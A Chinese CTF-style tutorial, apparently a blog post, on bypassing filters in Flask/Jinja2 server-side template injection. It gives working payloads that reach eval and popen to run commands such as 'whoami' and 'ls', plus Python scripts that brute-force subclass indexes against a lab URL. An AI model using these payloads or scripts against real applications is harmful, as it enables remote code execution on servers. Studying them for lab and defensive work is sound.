目录
1、过滤了中括号
2、过滤了双下划线
3、过滤了单下划线
4、过滤了点
5、过滤了大括号
6、过滤了引号
7、过滤了数字
如下,我们可以正常读取object的所有子类
但是当我们尝试利用某个子类时,发现存在WAF,这里是中括号被过滤了
我们使用.pop() 函数来进行绕过
构造payload:
{{''.__class__.__base__.__subclasses__().pop(xx)}}
回显成功
用到脚本上同理
使用之前的脚本我们发现都被过滤了
简单修改后,便适用于中括号被过滤了的情况,这里是爆类的位置
关于爆函数位置各位可以参考我前面博客http://t.csdn.cn/7Ffkm给的脚本进行修改即可
import html
import requests
url='http://1.14.110.159:18080/flasklab/level/4'
def find_class_num():
for i in range(500):
parm_name='code'
parm_value = "{{''.__class__.__base__.__subclasses__().pop(" + str(i) +")}}"
data = {parm_name:parm_value}
print(data)
re = requests.post(url,data=data).text
htmltest =html.unescape(re)
print(htmltest)
if '_frozen_importlib_external.FileLoader' in re:
print(i)
return i
find_class_num()
(当然并不通用,具体还是要看题目环境)
这里我们爆出存在 _frozen_importlib_external.FileLoader类,关于利用也请参考前面的博客
http://t.csdn.cn/IWlqA
利用request.args(或者request.values)进行绕过
request.args是flask中的一个属性,为返回请求的参数,这里把class当作变量名,再将“__class__“”传给class即可
使用dir(0)[0][0]或request['args']或request['values']进行绕过
我们可以利用 |attr 写成这种格式
{{''|attr('__class__')}}
也可写成这种
{{''['__class__']}}
使用{%%}来进行判断
eg:
{%if 2>1%}success{%endif%}
返回success说明执行成功,我们便可基于if语句构造payload
{% if ''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}
相关脚本
import requests
url = "http://1.14.110.159:18080/flasklab/level/2"
for i in range(500):
data = {
"code": "{% if ''.__class__.__base__.__subclasses__()[" + str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}"
}#传入的参数,根据事实情况更改参数的名称
try:
re = requests.post(url=url,params=data).text
if 'success' in re:
print(re)
print(i,data["code"])
break
except:
pass
找到payload后,使用{%print()%}进行回显
{%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()'))%}
{%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['popen']('ls').read())%}
同样也可以利用request.args属性进行绕过
我们可以利用set 配合length设置一个变量等于某个数值
{% set a='aaaaaaa'|length%}{{a*a}}
在我们后面选择所要使用的子类位置时同样适用
{% set a='aaaaa'|length*'aaaa'|length%}{{a}}{{''.__class__.__base__.__subclasses__()[a]}}
当然这些都只是一些简单和常见的,实际题目中一般是混合过滤,而且还可能会禁用一些东西,
但是这些基础的东西和操作我们还是需要知道的。